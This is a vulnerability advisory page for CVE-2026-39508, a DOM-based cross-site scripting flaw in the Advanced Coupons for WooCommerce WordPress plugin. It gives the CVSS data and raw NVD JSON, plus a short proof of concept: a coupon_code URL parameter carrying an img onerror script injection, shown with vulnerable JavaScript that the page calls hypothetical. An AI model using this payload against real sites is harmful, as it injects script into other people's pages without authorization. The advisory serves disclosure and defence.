Security Vulnerability Report
中文
CVE-2026-39508 CVSS 6.5 MEDIUM

CVE-2026-39508

Published: 2026-04-08 09:16:25
Last Modified: 2026-04-24 18:08:35

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Josh Kohlbach Advanced Coupons for WooCommerce Coupons advanced-coupons-for-woocommerce-free allows DOM-Based XSS.This issue affects Advanced Coupons for WooCommerce Coupons: from n/a through <= 4.7.1.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Advanced Coupons for WooCommerce <= 4.7.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-39508 --> <!-- Scenario: The plugin takes a coupon code from the URL and displays it without sanitization --> <!-- 1. Attacker constructs the following URL --> <!-- https://example.com/shop/?coupon_code="><img src=x onerror=alert(1)> --> <!-- 2. Vulnerable JavaScript logic in the plugin (Hypothetical) --> <script> // Get parameter from URL const urlParams = new URLSearchParams(window.location.search); const couponCode = urlParams.get('coupon_code'); // Vulnerable sink: Directly inserting user input into the DOM if (couponCode) { document.getElementById('coupon-display').innerHTML = 'Applied Coupon: ' + couponCode; // The above line will execute the JavaScript alert(1) } </script> <!-- 3. HTML Element that gets modified --> <div id="coupon-display"></div>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39508", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:24.937", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Josh Kohlbach Advanced Coupons for WooCommerce Coupons advanced-coupons-for-woocommerce-free allows DOM-Based XSS.This issue affects Advanced Coupons for WooCommerce Coupons: from n/a through <= 4.7.1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/advanced-coupons-for-woocommerce-free/vulnerability/wordpress-advanced-coupons-for-woocommerce-coupons-plugin-4-7-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}